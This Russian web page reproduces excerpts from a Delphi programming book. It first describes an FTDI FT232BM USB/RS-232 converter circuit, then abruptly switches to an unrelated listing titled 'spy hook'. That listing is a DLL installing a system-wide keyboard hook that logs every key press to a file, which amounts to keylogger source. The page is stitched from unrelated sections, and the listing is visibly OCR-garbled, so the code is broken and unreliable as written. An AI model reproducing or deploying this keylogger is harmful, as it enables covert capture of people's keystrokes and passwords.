Главная » Delphi » Схема для преобразования USB/RS-232

0

Наилучшим для практики способом построения последовательного порта через USB-интерфейс является использование микросхемы FT232BM7 английской фирмы Future Technology Devices International Ltd — FTDI. С возможностями ее и других USB-микросхем этой фирмы можно ознакомиться из хорошей подборки статей на сайте компании "ЭФО" [34]. Самым главным преимуществом этой микросхемы является наличие драйверов для Windows (притом бесплатно распространяемых), которые обеспечат в том числе и полную эмуляцию последовательного СОМ-порта со скоростями до 1 Мбод (см. главу 20). На рис. П4.6 я без лишних объяснений привожу схему кабеля USB/RS-232, которая без изменений честно заимствована из фирменной документации FTDI [35]. В русифицированном варианте эта схема приведена в [29], где она также честно заимствована из размещенной на сайте екатеринбургской фирмы "Институт радиотехники" (http://www.institutc-rt.ru/ common/statyi/convl/index.litml) статьи А. Лысенко. Р. Назмутдинова, И. Малыгина для журнала "Радио" (2002, № 6 и 7).

Согласно уверениям производителя, если вы просто припаяете микросхему FT232BM без дополнительного программирования внешней EEPROM (микросхема 93С46 на схеме), в которой должны храниться идентификаторы устройства и прочая служебная информация, и даже вообще без нее, то устройство все равно будет работать, хотя могут возникнуть сложности с подключением других подобных устройств. Если же есть желание EEPROM

Рис. П4.6. Рекомендуемая производителем схема преобразователя USB/RS-232 с использованием микросхемы FT232BM

запрограммировать, то специально этим заниматься не требуется, при установке драйвера типа D2XX (как указано в главе 20), это можно сделать прямо на готовой плате через специальную фирменную утилиту EditEEPROM. Есть, по слухам, некоторые особенности с обеспечением скоростного режима этих микросхем, но вдаваться в подробности в рамках этой книги не имеет смысла. Читатель, несомненно, в курсе того, что подобные готовые "переходники" СОМ/USB имеются в продаже вместе с уже настроенным драйвером.

Имейте в виду, что обеспечить максимальную скорость обмена — здесь проблема не интерфейса, а применяемых компонентов, так, в схеме по рис. П4.6 преобразователи МАХ213 или ADM213 могут обеспечить 115 Кбод, микросхема SP2I3 обеспечит 500 Кбод, а 1 Мбод вы получите только с использованием МАХ3245, правда, при этом встанет необходимость еще и запрограммировать виртуальный СОМ-порт на такие скорости (о чем см. главу 20). На самом деле применять именно такую схему, как приведена на рис. П4.6, есть нужда только при использовании устройств с уже готовым интерфейсом RS-232 (как, например, разбираемые в главе 20 GPS-навигаторы). Если вы устройство целиком проектируете самостоятельно, то нет никакого смысла преобразовывать уровни UART в уровни RS-232 и обратно, дважды устанавливая приемопередатчик— в этом случае его из схемы на рис. П4.6 надо исключить, а вместо него линии RxD и TxD подсоединить прямо к контроллеру. Остальные линии просто могут не использоваться, вывод CTS# микросхемы FT232BM при этом следует заземлить.

! Листинг 6.1. Библиотека для "шпионской" ловушки

library Spyhook; uses

Messages, Windows, Ariphm; var

HookHandle:hHook; ft:textfile;

function KeyboardProc(Code: Integer; wParam: wParam; LParam: LParam): integer; atdcall; begin

if code<0 then Result:=CallNextHookEx(HookHandle, code, WParam, LParam) else

if byte(LParam shr 24)<$80 then {только нажатие)

begin

try

append(ft); (пробуем открыть файл для добавления) except

exit; (если не получается – выход) end;

writeln(ft,’Key(wParam) =$’,hexwtwParam),’ lParam

=$’,hexlong(lParam)); closefile(ft);

Result:=CallNextHookEx(HookHandle, code, WParam, LParam);

end;

end;

procedure SetHook; stdcall; (установка ловушки) begin

HookHandle := SetWindowsHookEx(WH_KEYBOARD,KeyboardProc, hlnsnance, 0); end;

 

Источник: Ревнч Ю. В.  Нестандартные приемы программирования на Delphi. — СПб.: БХВ-Петербург, 2005. — 560 е.: ил.

По теме:

  • Комментарии